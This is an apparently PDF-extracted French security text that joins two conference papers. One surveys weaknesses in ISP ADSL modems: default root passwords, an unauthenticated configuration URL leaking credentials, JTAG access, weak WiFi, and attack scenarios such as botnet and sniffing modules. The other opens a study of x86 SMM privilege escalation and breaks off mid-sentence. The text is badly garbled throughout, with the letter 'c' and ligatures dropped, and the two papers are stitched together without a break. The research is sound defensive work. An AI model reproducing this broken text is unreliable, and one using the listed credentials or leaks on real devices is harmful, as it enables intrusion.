attaque).

Ces sujets, quoique passionnants, ne peuvent pas être traités dans une intervention aussi 
ourte qui

se 
on
entrera sur les aspe
ts de sé
urité informatique uniquement.

2 Sé
urité des boites

2.1 Préambule

L'étude présentée i
i a été débutée en 2004. Toutefois 
ompte tenu de la sensibilité (
ommer
iale

et légale) du sujet, 
es travaux n'ont pas pu être présentés au SSTIC 2005. Heureusement la plupart

des problèmes étant aujourd'hui 
orrigés, il nous est possible de 
ommuniquer dessus.
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2.2 Hardware

Les boites sont en général basées sur des 
hipsets � tout-en-un �, très souvent de marque Broad-


om (ex. BCM 6345, BCM 6410) don
 ave
 un 
÷ur MIPS32. Il est d'ailleurs remarquable de


onstater que 
ertaines boites vendues par des opérateurs di�érents sont quasiment identiques au

niveau matériel et logi
iel . . .

A partir de 
e 
onstat, on en déduit que :

� Malgré les spé
i�
ités du pro
esseur MIPS (ar
hite
ture � fet
h and exe
ute �, 
a
he de

données et 
a
he d'instru
tions séparés), l'é
riture de shell
odes ne posera pas de problème

majeur si une faille est dé
ouverte.

� Le pro
esseur supporte le débogage de bas niveau via la norme JTAG. Dans les faits, le port

JTAG est pratiquement toujours a

essible sur la 
arte mère ; les travaux du projet OpenWRT


ontiennent tout le né
essaire pour lire et é
rire la mémoire Flash via JTAG [OpenWRT℄.

Outre le port JTAG, la plupart des équipements ont un port série également 
âblé sur la 
arte

mère, qui permet bien souvent d'obtenir un a

ès 
onsole et/ou de lire les journaux de l'équipement,

y 
ompris lors du démarrage. De nombreuses informations utiles s'y trouvent, telles que le 
hemin

d'a

ès au �rmware sur le site du 
onstru
teur.

Malgré l'aspe
t � boite noire � des équipements, leurs se
rets ne résistent pas longtemps à un

a

ès physique par leur propriétaire . . .

2.3 Système d'exploitation

Les boites se répartissent entre 2 familles au niveau du logi
iel embarqué : VxWorks et Linux.

Les boites basées sur VxWorks sont plus di�
iles à analyser 
ompte tenu de l'aspe
t � fermé �

du logi
iel. Les formats de �
hier et les kits de développement ne sont pas publi
s.

D'un autre 
�té, le système VxWorks (issu du monde industriel et temps réel) n'a pas été 
onçu

pour être exposé dire
tement à un milieu hostile 
omme 
elui d'Internet, et n'o�re pas la même

ri
hesse logi
ielle que Linux. Ce
i est parti
ulièrement sensible au niveau de :

� La pile IP. En parti
ulier, on notera que les numéros de séquen
e TCP sont in
rémentaux

(faille utilisée par Kevin Mitni
k pour attaquer Shimomura en . . . 1994 !).

� Le serveur Web. Celui-
i se 
ontente de renvoyer une 
haine la
onique � Server : httpd �. Il

s'avère que 
e serveur o�re un langage de s
ript très limité. Ce
i 
onduit les développeurs à

e�e
tuer une grande partie des tâ
hes 
�té 
lient. En 
onsultant le 
ode sour
e de la page

� 
hangement de mot de passe �, on trouve par exemple :

....

<SCRIPT LANGUAGE=Javas
ript>

var old_password = "1234";

fun
tion Che
kPasswd()

{

if(do
ument.SubmitChPwdUser.OLDPASSWD.value != old_password)

{

.....

Les boites basées sur Linux sont fa
iles à analyser 
ar toutes les do
umentations et tous les outils

de 
on
eption sont libres. Certains éditeurs vont jusqu'à respe
ter la li
en
e GPL en republiant les

modi�
ations apportées au 
ode (mais ça n'est pas le 
as pour tous).
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Les boites basées sur Linux sont souvent mieux armées pour être 
onne
tées à Internet et plus

ri
hes en fon
tionnalités. Mais le nombre de failles dé
ouvertes et publiées sur Internet est également

plus important, et dans 
ertains 
as 
es failles s'appliquent aux boites 
orrespondantes (ex. faille

ISC DHCP 3.0 [ISC℄ vs. équipements en mode � routeur �).

2.4 Mise à jour

L'opérateur se doit de pouvoir mettre à jour les équipements pour 
orriger les failles susmention-

nées et proposer des améliorations fon
tionnelles. Plusieurs modèles de mise à jour sont utilisés :

� Le mode manuel : l'utilisateur e�e
tue la mise à jour de lui-même, soit en télé
hargeant un

logi
iel exé
uté 
�té 
lient, soit via une option de l'interfa
e de 
on�guration.

Ce mode est obligatoire pour les 
lients qui sont propriétaires de leur boite, le 
onstru
teur ou

l'opérateur n'ayant plus le droit d'en 
hanger la 
on�guration. Se pose alors le problème de la non-

appli
ation des mises à jour, 
'est pourquoi la plupart des opérateurs se tournent vers une lo
ation

de l'équipement. Une partie du par
 installé reste et restera néanmoins vulnérable.

� Le mode automatique : l'équipement se met à jour de lui-même depuis un site distant. Cette

mise à jour peut souvent être dé
len
hée par l'utilisateur via l'interfa
e de 
on�guration ou un

redémarrage de l'équipement. Cette mise à jour est aussi parfois dé
len
hée par l'opérateur,


e qui se manifeste par une dé
onnexion plus ou moins prolongée à un moment aléatoire de

la journée ( !).

Les mises à jour utilisent le plus souvent le proto
ole FTP, mais de 2 manières radi
alement

opposées selon les boites : soit la boite va 
her
her la mise à jour sur le serveur FTP de l'opérateur,

soit le serveur FTP est hébergé sur la boite et l'opérateur vient y poser la mise à jour.

Toutes 
es méthodes permettent de ré
upérer assez fa
ilement les images logi
ielles qui sont

disponibles :

� Soit au télé
hargement dire
t pour une mise à jour manuelle ;

� Soit sur un serveur FTP 
hez l'opérateur, dont les 
oordonnées peuvent être trouvées dans

une version antérieure du �rmware ou dans les journaux d'a
tivité de la 
onsole.

Ce sujet ayant été largement 
ouvert dans les forums de bidouille, les liens vers les di�érentes

versions de �rmwares sont aujourd'hui a

essibles depuis Google. Leur analyse ne pose pas de

problème majeur, 
ar les te
hniques de � brouillage � parfois utilisées restent sommaires et au

�nal il est toujours possible de re
omposer l'image CramFS du système Linux (pour les boites sous

Linux).

2.5 Interfa
es de 
on�guration

Quasiment toutes les boites possèdent une adresse IP 
�té LAN. Même une boite ne possédant

qu'un seul port Ethernet et ne supportant pas a priori de mode � routeur � é
oute malgré tout sur

une adresse IP RFC 1918 qui permet d'a

éder à l'interfa
e de 
on�guration.

Les ports TCP ouverts sont en général toujours les mêmes : FTP/21, Telnet/23, Web/80 (et

parfois SSH/22).

Les 
omptes prédé�nis dans l'équipement sont nombreux, rarement moins de 4 : un 
ompte

utilisateur (do
umenté), un 
ompte de support dont le mot de passe est parfois divulgué par le

support te
hnique, un 
ompte opérateur et un 
ompte 
onstru
teur.

Le 
ompte utilisateur possède toujours un mot de passe trivial et très bien do
umenté sur

Internet. Malgré les re
ommandations de la do
umentation, un sondage rapide auprès de quelques

amis internautes montre que 
e mot de passe n'est jamais 
hangé.



204

Les 
omptes de support de quelques opérateurs sont également do
umentés sur Internet.

En�n le 
ompte 'root', présent aussi bien sur des équipements Linux que VxWorks, possède le

mot de passe '1234' 
hez un opérateur et '12345' 
hez un autre. Là en
ore l'information a �ni par

fuir sur Internet.

Le servi
e FTP est souvent a

essible à l'utilisateur anonymous, en plus des 
omptes susmen-

tionnés. Selon les 
on�gurations, l'énumération des �
hiers est possible ou non. Mais dans tous les


as il est possible de ré
upérer le �rmware sous réserve de 
onnaître le nom de �
hier 
omplet,

voire d'é
rire un nouveau �rmware sous réserve de 
omprendre l'algorithme de 
he
ksum (et non

de signature) utilisé.

Le servi
e Web de 
on�guration n'est pas toujours authenti�é, de plus les limitations des serveurs

utilisés (prin
ipalement sous VxWorks) les rendent vulnérables à des attaques triviales. Sur un

équipement, il est par exemple possible de ré
upérer toute la 
on�guration en se rendant à l'URL

"http ://<ip privée>/
on�g/", y 
ompris la liste des 
omptes et mots de passe en 
lair.

Notons que l'option d'ar
hivage de la 
on�guration, présente sur un grand nombre d'équipe-

ments, est sus
eptible de représenter une faille importante. En e�et il est non seulement possible de

ré
upérer des informations normalement ina

essibles depuis l'interfa
e de 
on�guration (
omme la

liste des 
omptes et mots de passe), mais il est également possible de modi�er 
es paramètres lors

de la restauration.

Pour mesurer toute l'ampleur de 
ette attaque, il ne faut pas oublier que sous Linux 
es �
hiers

de 
on�guration sont le plus souvent dire
tement in
lus dans des s
ripts de démarrage ...

Il a également été 
onstaté que toutes les interfa
es Web renvoient les véritables informations

d'authenti�
ation derrière les astérisques des 
hamps � mots de passe �. Il est don
 possible de

retrouver ses mots de passe, 
lés WEP, et
. dans le 
ode sour
e des pages Web d'administration.

En�n le servi
e Telnet o�re souvent des 
ommandes intéressantes, en parti
ulier sous VxWorks

où des 
ommandes telles que mread (memory read), mwrite (memory write), ou debug sont parfois

laissées a
tives. Il faut noter que 
es 
ommandes n'apparaissent pas toujours dans la sortie de la


ommande help.

2.6 WiFi

La plupart des boites possèdent une option WiFi, sous forme de 
arte PCMCIA additionnelle.

Les te
hnologies d'a

ès WiFi sont très variables d'un opérateur à l'autre. On 
itera les 
on�gura-

tions suivantes :

� Absen
e de WEP/WPA et utilisation d'une te
hnologie � PPP over WiFi �. Cette te
hnologie

possède tous les in
onvénients : impossibilité de partager la 
onnexion WiFi entre plusieurs


lients, é
oute du tra�
 par des tiers, 
apture des authenti�ants.

� WEP. Souvent la seule solution o�erte aux 
lients jusqu'à l'année dernière, malheureusement

l'insé
urité du WEP n'est plus à démontrer aujourd'hui.

� WEP + te
hnologie propriétaire de rotation de 
lés. Plus sé
urisée que la solution pré
édente,


ette solution est en pratique ina

eptable pour les 
lients : né
essité d'a
heter un dongle USB

propriétaire pour 
haque ma
hine, absen
e de drivers pour Linux, Ma
OS et autres gadgets

WiFi (PDAs, appareils photos, Nabaztags, et
.). De plus l'algorithme de rotation des 
lés

n'ayant pas fait l'objet d'études publiques, on pourrait douter de sa solidité 
ryptographique.

� WPA. La meilleure solution disponible, à 
ondition de 
hoisir une passphrase su�samment

forte. Malheureusement l'expérien
e prouve que la plupart des 
lients sont restés en WEP

même après l'intégration de WPA dans les �rmwares. De plus la passphrase WPA par défaut

est identique à l'an
ienne 
lé WEP . . .
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Chez 
ertains opérateurs, d'autres astu
es sont utilisées pour limiter la 
asse au niveau WiFi,

telles que la né
essité d'une a
tion matérielle pour asso
ier de nouvelles 
artes (bouton poussoir).

Malheureusement, les 
artes en question étant identi�ées par leur adresse MAC, 
ette prote
tion

empê
he simplement la 
onnexion simultanée d'un 
lient et d'un pirate . . . (et en
ore).

Un dernier point resté totalement mystérieux est la possibilité pour le 
onstru
teur de valider

une asso
iation entre une 
lé WEP et le numéro de série de l'équipement (basé sur son adresse

MAC). Ces informations sont utilisées pour se 
onne
ter au site Web de support par exemple. Il

n'a pas pu être déterminé s'il existait un algorithme de dérivation adresse MAC -> 
lé WEP, ou si

l'ensemble des 
lés WEP par défaut sur 
haque borne vendue étaient sto
kées dans une base.

En 
on
lusion on peut noter que le WiFi est un véritable point faible sur les équipements

non-WPA. Ce point est parti
ulièrement inquiétant quand on 
onnaît les faiblesses des interfa
es

d'administration vues pré
édemment : l'a

ès à une boite permet par exemple de retrouver les iden-

ti�ants de 
onnexion ou d'a
tiver des servi
es. Certains servi
es sont ensuite imputés dire
tement

sur la fa
ture du possesseur de la boite . . .

2.7 Bluetooth

Un 
ourt paragraphe sur le Bluetooth, peu d'équipements en étant dotés.

Le 
ode PIN par défaut utilisé pour l'asso
iation de nouveaux équipements est trivial (ex. 0000

ou 1234). Une asso
iation Bluetooth réussie permet un a

ès 
omplet à la boite, identique à 
elui

obtenu par lien �laire ou WiFi. Quand on sait que des liaisons Bluetooth ont été établies à plus de

1,5 km par le groupe Tri�nite [Tri�nite℄ (ave
 le matériel adéquat), il y aurait lieu de s'inquiéter.

Heureusement l'ajout d'un élément matériel né
essaire à l'asso
iation (bouton poussoir) rend

les attaques beau
oup plus 
omplexes. Le proto
ole BlueTooth étant plus sûr par 
on
eption que

le WiFi, l'usurpation d'adresse MAC ne su�t pas à pouvoir établir une 
onnexion.

3 Sé
urité de l'infrastru
ture

3.1 Préambule

Les opérateurs se trouvent dans une 
on�guration beau
oup plus hostile que la plupart des

réseaux d'entreprise : ils doivent non seulement faire fa
e aux attaques provenant d'Internet, mais

également aux attaques et aux tentatives de fraude provenant de l'intérieur de leur réseau, le tout

ave
 un nombre de 
lients dépassant largement les plus gros LAN d'entreprise (jusqu'à plusieurs

millions).

On peut don
 imaginer que les problématiques de déte
tion d'intrusion et de supervision sont

dé
uplées par rapport à la moyenne de l'industrie.

Toutefois les opérateurs 
ommuniquent peu sur le sujet, et il est assez déli
at d'e�e
tuer des

tests � en aveugle �. Les résultats 
i-dessous présentent une vue générale et les risques potentiels

des réseaux explorés.

3.2 Cir
uits ATM

Les réseaux d'opérateurs sont bien souvent basés sur ATM dès la sortie de la boite. Sans trop

rentrer dans les détails du proto
ole [ATM℄, disons simplement qu'une 
ellule ATM se 
ompose de

48 o
tets de données et 5 o
tets d'en-tête. Cet entête 
omprend un Virtual Cir
uit Identi�er (VCI)
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sur 16 bits et un Virtual Path Identi�er (VPI) sur 8 ou 12 bits qui à eux deux identi�ent un 
anal

ATM.

La plupart des réseaux de transport de données utilisent le VCI/VPI 8/35 ou 8/36. Les interfa
es

de 
on�guration permettent parfois d'avoir a

ès aux paramètres ATM utilisés pour les autres

réseaux (téléphonie, TV) � dans la majorité des 
as les paramètres VCI/VPI sont 
ompris entre

8/35 et 8/50.

Explorer les 
anaux ATM né
essite un modem ADSL autorisant un réglage VCI/VPI manuel,


'est-à-dire n'importe quel modem du 
ommer
e autre qu'une � boite � opérateur.

Il apparaît alors assez rapidement que la majorité des 
anaux ATM utilisés transportent de

l'IP et o�rent tous les servi
es 
lassiques sur un réseau IP, 
omme le DHCP. Certains 
anaux sont

probablement utilisés par les opérateurs pour la télémaintenan
e et la mise à jour des équipements,

le serveur DHCP renvoyant une adresse privée RFC 1918. Sur 
es 
anaux, les 
ommuni
ations

inter-boites sont relativement peu �ltrées ...

3.3 Serveurs de mise à jour

Les serveurs de mise à jour (
ontenant les images de �rmwares) sont des n÷uds essentiels du

réseau : en 
as de 
ompromission, on 
omprend que les 
onséquen
es puissent être assez graves.

Malgré la sensibilité de 
es serveurs, tous ne suivent pas les � meilleures pratiques � en termes

de sé
urité. On ren
ontre bien souvent des serveurs partageant les mêmes répertoires en HTTP et

FTP. Or si un attaquant réussit à déposer un �
hier PHP via FTP, puis à y a

éder via HTTP,

le serveur est 
ompromis. D'autres erreurs de 
on�guration sont présentes, telles que : a

ès aux

�
hiers � .hta

ess � et � .htpasswd � via FTP, énumération des répertoires possible via HTTP,

et
.

3.4 Autres serveurs

D'autres serveurs sont parti
ulièrement sensibles, 
ompte tenu de la nature 
ommer
iale des

servi
es qu'ils hébergent : 
e sont les serveurs de streaming TV et les serveurs de VoIP.

Le sujet est toutefois trop sensible pour être traité dans une 
onféren
e grand publi
.

4 Con
lusion

4.1 Synthèse des résultats

En imposant l'utilisation d'un modem unique, propriétaire, à leurs 
lients, les prin
ipaux opé-

rateurs d'a

ès Internet s'imposent la lourde tâ
he de veiller à la sé
urité de 
es � boites �, qui

méritent bien le titre de � boites noires � . . . même si 
ertaines arborent des 
ouleurs fashion.

Le risque auquel les opérateurs se 
onfrontent est grand, 
ar la diminution de la diversité aug-

mente la potentialité et l'étendue d'une attaque. De plus les gains �nan
iers possibles, liés aux

servi
es payants, renfor
ent l'intérêt de telles attaques.

Or la plupart des � boites � sou�rent d'erreurs de 
on
eption en terme de sé
urité, la plus


ritique étant l'utilisation de mots de passe simples et universels pour a

éder à la 
on�guration


omplète de l'équipement (
es mots de passe n'étant pas tous do
umentés et modi�ables par les

utilisateurs).

Dès lors il est possible d'envisager de multiples s
énarios, détaillés 
i-après.
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En 
as de problème grave se posera inévitablement la question des responsabilités, entre l'opé-

rateur, le 
onstru
teur et le 
lient ; d'autant que 
ertains équipements sont loués, d'autres prêtés et

d'autres en
ore vendus (é
happant légalement à tout 
ontr�le de l'opérateur). De plus les 
apa
i-

tés de journalisation des boites étant limitées voire nulles, les investigations te
hniques s'avèreront

probablement impossible. Cela augure de pro
ès 
omplexes à venir . . .

4.2 S
énarios

Sans vouloir donner trop d'idées aux malfaisants, on imagine assez bien quelques s
énarios

parfaitement 
rédibles sur la base de l'étude pré
édente.

L'installation d'un module logi
iel sur les boites est une première étape. Ce module pourra avoir

des fon
tions à la mode telles que :

� Servir de bot pour un DDoS ;

� Servir de relais de spam ;

� E
outer toutes les 
ommuni
ations sur le lien ADSL pour 
apturer des mots de passe ou

du tra�
 HTTP. Contrairement aux attaques du poste 
lient, les 
ommuni
ations SSL sont

protégées 
ontre l'é
oute, mais pas les proto
oles de type POP3 (utilisé par quasiment tous

les hébergeurs).

Ce module peut être installé :

� Soit par un virus se propageant 
�té 
lient ;

� Soit par une interfa
e d'administration a

essible 
�té ADSL, éventuellement sur un 
anal

ATM parti
ulier ;

� Soit par un serveur de �rmware 
ompromis.

A 
e point, si le module hostile désa
tive les fon
tions de mise à jour automatique et 
hange les

mots de passe par défaut, seul une intervention physique opérée par le 
onstru
teur permettrait de

reprendre le 
ontr�le de l'équipement.

On peut également envisager la propagation d'un virus 
apable de bloquer toutes les boites.

La non-propagation d'un tel virus, ou l'a

ès aux nouveaux mots de passe installés par le virus, se

monnaierait probablement assez 
her pour l'opérateur.

En�n on peut également 
iter les attaques auxquelles tout le monde pense, à savoir :

� Redire
tion du tra�
 téléphonique pour inter
eption ;

� Contournement des systèmes de fa
turation téléphonie/télévision.

La faisabilité de telles attaques reste plus di�
ile à évaluer.

Bref, 
ompte tenu des gains potentiels pour les attaquants, il est presque surprenant qu'au
une

attaque n'ait en
ore eu lieu . . .
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Résumé Dans 
et arti
le, nous montrons 
omment les fon
tionnalités matérielles des 
om-

posants de la 
arte mère peuvent être exploitées depuis la 
ou
he utilisateur pour 
ontourner


ertains mé
anismes de sé
urité des systèmes d'exploitation. Nous détaillons en parti
ulier


omment l'un des modes de fon
tionnement des pro
esseurs de la famille du Pentium (mode

System Management) et l'une des fon
tionnalité des 
hipsets (ouverture graphique) peuvent

être utilisés par un attaquant pour a

roître ses privilèges lo
aux. Les méthodes d'es
alade

de privilèges que nous présentons i
i n'utilisent au
un défaut d'implémentation en tant que

tel, mais exploitent plut�t un manque de 
ohéren
e entre les modèles de sé
urité des systèmes

d'exploitation et du matériel. Des mesures de 
ontournement permettant d'empê
her 
es es-


alades sont proposées dans 
e do
ument.

Mots Clés : Es
alade de privilèges, fon
tionnalités matérielles, System Management Mode.

1 Introdu
tion

On peut 
onstater que la plupart des vulnérabilités dé
ouvertes sur les systèmes existants sont

liées à des problèmes d'implémentation logi
ielle. On ne 
ompte plus les failles exploitables par �

bu�er over�ow �, � format string � ou en
ore � ra
e 
ondition �. Elles rendent souvent 
ompte

de l'existen
e de bogues de programmation ou d'une 
ertaine prise de liberté quant au respe
t des

bonnes règles de 
odage. Quelques travaux plus ré
ents démontrent aussi des problèmes de sé
urité

liés au mode de fon
tionnement de 
ertains périphériques [1,2℄.

Dans 
et arti
le, nous dé
rivons une 
lasse d'attaques liée non pas à des problèmes d'implémen-

tation logi
ielle mais plut�t à des problèmes d'in
ohéren
e dans le modèle global de sé
urité d'un

système. Nous présentons des exemples 
on
rets d'es
alade de privilèges indépendants de toute er-

reur de 
odage. Par des appels légitimes à des fon
tionnalités proposées par le matériel et a

essibles

via le système d'exploitation, un attaquant peut en e�et a

roître ses privilèges, parfois de manière

très signi�
ative.

Nous détaillerons d'abord les modes de fon
tionnement des pro
esseurs x86 [4℄ et les mé
anismes

de sé
urité qui leur sont asso
iés. Nous entrerons ensuite dans le détail des spé
i�
ations de l'un de


es modes de fon
tionnement, le mode System Management. Nous présenterons ensuite quelques

uns des mé
anismes de sé
urité des systèmes d'exploitation modernes en pré
isant 
omment ils

s'arti
ulent ave
 le modèle de sé
urité sous-ja
ent. Nous montrerons alors 
omment 
es mé
anismes
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peuvent être 
ontournés par un attaquant possédant des privilèges initiaux su�sants pour faire

bas
uler le mi
ropro
esseur en mode � System Management � ou utiliser la fon
tionnalité matérielle

d'ouverture graphique fournie par le 
hipset. Nous donnerons également plusieurs exemples 
on
rets

d'es
alade de privilèges sur les systèmes OpenBSD [11℄ et NetBSD [10℄, a

ompagnés de propositions

de mesures destinées à prévenir de telles es
alades.

2 Prin
ipes de fon
tionnement des ar
hite
tures x86

Les prin
ipes énon
és tout au long de 
e do
ument s'appliquent à toutes les plateformes équipées

d'un pro
esseur x86 et d'un 
hipset permettant une 
on�guration adéquate [8℄ du mode System

Management

3

.

Processeur

Ports série, parallèle, USB

Northbridge

SouthbridgeCanaux IDE

Carte Graphique Mémoire principale

Périphériques PCI

Bus PCI

Chipset

Bus SDRAM/DDRBus AGP

Fig. 1. Ar
hite
ture simpli�ée d'un système x86 (détail : Pentium

r
4)

2.1 Modes de fon
tionnement du Pentium

r

Si la plupart des systèmes d'exploitation modernes fon
tionnent dans le mode dit � protégé �,

les pro
esseurs 32 bits de la famille du Pentium

r
[4℄ disposent au total de quatre modes di�érents.

Le mode protégé est le mode nominal des pro
esseurs x86. Dans 
e mode, la majeure partie des

fon
tionnalités matérielles sont disponibles. Certaines de 
es fon
tionnalités visent essentiellement

à fournir au système d'exploitation des mé
anismes de prote
tion de son espa
e mémoire (segmen-

tation, privilèges E/S, voir se
tions 2.2 et 2.3), d'autres ont en outre un obje
tif plus opérationnel

(pagination, voir se
tion 2.2).

Les trois autres modes de fon
tionnement disponibles sont plus rarement utilisés. Le mode �

Adresse réelle (Real Address) � est utilisé prin
ipalement lors de la séquen
e de démarrage de

l'ordinateur et lors de son arrêt. Il s'agit d'un mode 16 bits de 
ompatibilité as
endante qui permet

de 
onserver s
rupuleusement l'ar
hite
ture PC/AT malgré le passage à des pro
esseurs exploitant

des bus d'adresse plus larges. Le mode � Real Address � peut également être utilisé pour a

éder

aux fon
tionnalités du BIOS. Le mode � 8086 Virtuel � est un autre mode de 
ompatibilité 16 bits

3

C'est par exemple le 
as de tous les 
hipsets 
ommer
ialisés par Intel

r
. Ceux-
i disposent en e�et d'un

registre de 
on�guration de la zone mémoire SMRAM, présentée un peu plus loin.
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relativement semblable au mode réel. La prin
ipale di�éren
e entre 
es deux modes est que le mode

8086 virtuel est � embarqué � au sein du mode protégé. Tout se passe 
omme si le 
ode exé
uté en

mode 8086 était exé
uté au sein d'une tâ
he spé
i�que du mode protégé. Ce
i permet au système

d'exploitation de lan
er des programmes 16 bits tout en béné�
iant du mé
anisme de pagination

et en exerçant un 
ontr�le très �n sur les opérations e�e
tuées par 
eux-
i, en parti
ulier lors de

l'exé
ution d'instru
tions privilégiées.

En�n, le mode � System Management � (appelé SMM dans la suite) est, selon la do
umentation


onstru
teur, un mode 16 bits permettant � de gérer e�
a
ement les paramètres de fon
tionnement

� du système ou de � lan
er du 
ode 
onstru
teur �. Par exemple, si la sonde de température de la


arte mère déte
te que le pro
esseur est en sur
hau�e, le 
hipset du système peut avoir été 
on�guré

pour 
ommander au pro
esseur d'entrer en mode SMM. Le mode SMM est dé
rit plus en détail

dans la se
tion 3.

Les transitions entre 
ha
un de 
es modes sont bien entendu rigoureusement 
ontr�lées. Les

transitions depuis et vers le mode SMM sont détaillées dans la se
tion 3.

2.2 Gestion de la mémoire

Cette se
tion traite de la problématique de gestion de la mémoire par le pro
esseur [7℄ et en

parti
ulier des mé
anismes de segmentation et de pagination. La segmentation est un mé
anisme

uniquement utilisé en mode protégé, alors que la pagination est a

essible en mode protégé et en

mode 8086 virtuel.

Segmentation et privilèges pro
esseur Si les 
omposants de la 
arte mère manipulent des

adresses dites physiques, tout 
ode s'exé
utant sur le pro
esseur en mode protégé n'a

ède qu'à des

adresses dites logiques. Ces adresses sont traduites par une unité spé
i�que du pro
esseur appelée

MMU (Memory Management Unit) en adresses physiques par les mé
anismes de segmentation et

de pagination

4

.

La segmentation permet de traduire des adresses logiques en adresses virtuelles. Le mé
anisme

utilisé ensuite pour traduire les adresses virtuelles en adresses physiques est dé
rit au paragraphe

suivant.

Globalement, le mé
anisme de segmentation permet de désigner des blo
s de mémoire 
ontiguë

et de leur assigner des permissions d'a

ès. Un blo
 (ou segment) de 
ode pourra ainsi être a

essible

uniquement en exé
ution ou en le
ture/exé
ution. A 
ontrario, un segment de données pourra être

rendu a

essible en le
ture seule ou en le
ture/é
riture. D'autre part, il est possible de réserver

l'a

ès à 
ertains segments aux tâ
hes qui possèdent un niveau de privilèges pro
esseur su�sant.

Le noyau d'un système d'exploitation s'exé
ute ainsi ave
 des privilèges maximaux (dans le ring,

ou anneau, 0), alors que le 
ode des appli
ations utilisateur s'exé
ute ave
 des privilèges minimaux

(ring 3)

5

.

Pagination Lorsque la pagination est a
tivée, la MMU utilise des tables et des répertoires de pages,

typiquement spé
i�ques à 
haque tâ
he du système, a�n de déterminer la 
orrespondan
e entre une

4

Le mé
anisme de segmentation est un mé
anisme obligatoire, tandis que la pagination est un mé
a-

nisme dont l'utilisation est optionnelle. Toutefois, les systèmes d'exploitation modernes utilisent tous la

pagination pour gérer e�
a
ement la mémoire disponible.

5

En outre, 
ertaines instru
tions privilégiées sont réservées aux appli
ations du ring 0.
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adresse virtuelle et une adresse physique. Ainsi, une adresse virtuelle donnée ne 
orrespond pas

toujours à la même adresse physique. Ce
i permet au système d'exploitation de présenter à ses

appli
ations des espa
es d'adressage similaires, tout en gérant par ailleurs la mémoire physique

disponible, de telle sorte que les pages utilisées soient pla
ées en mémoire prin
ipale alors que

d'autres sont � swappées � sur des périphériques de sto
kage. La granularité de 
e mé
anisme est

la page (blo
 de mémoire physique 
ontiguë, généralement de 4 ko, aligné sur une adresse multiple

de sa taille).

Il est à noter également que de manière partiellement redondante ave
 les fon
tionnalités propo-

sées par le mé
anisme de segmentation, il est possible de restreindre dans les tables ou les répertoires

de page les règles d'a

ès asso
iées à 
haque page. Une page mémoire est toujours a

essible en le
-

ture si elle est marquée 
omme présente dans la table de page. En revan
he, un bit (bit r/w)

permet de spé
i�er si la page est a

essible en é
riture ou non, et un autre (bit user/supervisor)

si les appli
ations s'exé
utant en ring 3 peuvent ou non a

éder à la page 
onsidérée. En�n, dans

les ar
hite
tures les plus ré
entes, un bit supplémentaire (bit NX ou XD selon les 
onstru
teurs)

permet de spé
i�er si la page est exé
utable ou non.

Si la pagination est désa
tivée

6

, les adresses virtuelles sont numériquement égales aux adresses

physiques.

2.3 A

ès aux périphériques d'entrée-sortie

Il existe plusieurs mé
anismes permettant au 
ode logi
iel s'exé
utant sur le pro
esseur d'inter-

agir ave
 les périphériques.

A

ès PIO Le premier mé
anisme disponible pour a

éder aux périphériques est le mé
anisme

dit de � Programmed I/O �(PIO). Les périphériques 
orrespondants sont a

essibles sur un bus 16

bits logiquement indépendant du bus d'adresses mémoire. Ce mé
anisme historique est le plus lent.

Les ports PIO sont manipulés par les instru
tions assembleur � in � [5℄ (opération de le
ture) et �

out � [6℄ (opération d'é
riture).

A

ès MMIO Le deuxième mé
anisme permettant à un 
ode logi
iel d'a

éder aux périphériques

est le mé
anisme dit de � Memory Mapped I/O �. Ce mé
anisme 
onsiste à projeter la mémoire

ou les registres de 
ontr�le d'un périphérique dans l'espa
e d'adressage physique de la ma
hine.

Du point de vue du 
ode exé
uté, on a

ède à 
es 
omposants 
omme à la mémoire physique.

Généralement, les périphériques sont projetés dans les adresses hautes a�n d'éviter le plus possible

les 
on�its ave
 la mémoire prin
ipale

7

.

Autres mé
anismes Les deux autres modes de 
ommuni
ation existants ne seront pas traités

dans le 
adre de 
et arti
le. Le mé
anisme d'interruption matérielle (ou IRQ) permet aux périphé-

riques d'envoyer un signal asyn
hrone vers le pro
esseur a�n de signaler, par exemple, l'arrivée d'un

6

L'a
tivation du mé
anisme de pagination est 
ontr�lée par le bit PG du registre de 
ontr�le cr0 du

pro
esseur.

7

Il est à noter que 
ertaines mémoires 
omme le BIOS doivent être projetées dans les adresses basses

pour être a

essibles en mode � adresse réelle �. Dans 
e 
as, les blo
s de mémoire prin
ipale situés aux

adresses 
orrespondantes sont généralement non utilisés par le système. Une ex
eption notable est la

SMRAM dont il est question dans la se
tion suivante.
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événement. Le mé
anisme DMA (Dire
t Memory A

ess) permet quant à lui aux périphériques

d'interagir dire
tement ave
 la mémoire prin
ipale sans 
ontr�le instantané par le pro
esseur des

opérations réalisées. Les problèmes de sé
urité liés à l'emploi d'un tel mode sont potentiellement

nombreux et ont déjà été étudiés par ailleurs (voir par exemple [1,2℄).

Privilèges I/O Les périphériques MMIO étant gérés par le pro
esseur de la même façon que la

mémoire prin
ipale, les mé
anismes de segmentation et de pagination peuvent être employés pour

en réguler l'a

ès.

L'a

ès aux ports d'entrée-sortie PIO en mode protégé est quant à lui régulé par un 
ontr�le de

privilèges d'entrée-sortie (privilèges E/S). Il existe deux mé
anismes di�érents pour attribuer 
es

privilèges. Le premier est d'a�e
ter les bits IOPL du registre de 
ontr�le EFLAGS du pro
esseur de

telle sorte que IOPL soit supérieur ou égal au niveau de privilège pro
esseur (ring) 
ourant

8

. Dans


e 
as, l'a

ès à tous les ports PIO est a

ordé en blo
. Dans le 
as 
ontraire, il est né
essaire de

mettre à jour le � bitmap d'entrée-sortie � (se
ond mé
anisme) pour qu'il 
ouvre le port demandé

et que le bit 
orrespondant aux ports auxquels on souhaite a

éder soit mis à 0

9

. Le bitmap doit

être sto
ké dans une zone mémoire ina

essible au ring 3.

Un exemple de fon
tionnalité PIO : l'ouverture graphique L'ouverture graphique [8℄ est

une fon
tionnalité fournie par le 
hipset

10

à la 
arte graphique et au pro
esseur. Elle permet de

dé�nir une zone 
ontiguë dans l'espa
e des adresses physiques. Chaque a

ès vers une page de


ette zone est redirigée par le 
hipset vers une autre page physique (obligatoirement en mémoire

prin
ipale) au moyen d'une table de tradu
tion 
on�gurée logi
iellement et résidant elle aussi en

mémoire prin
ipale. Lorsqu'ils a

èdent à l'ouverture graphique, les périphériques et le pro
esseur

ont ainsi l'impression d'a

éder à une zone mémoire 
ontiguë, alors qu'en réalité ils a

èdent à des

pages arbitraires de la mémoire prin
ipale (voir �gure 2). Cette fon
tionnalité permet en alignant


orre
tement l'ouverture graphique de voir 
omme un seul blo
 la mémoire vidéo (framebu�er) de

la 
arte graphique et la zone en mémoire prin
ipale dédiée à la gestion graphique.

L'ouverture graphique est 
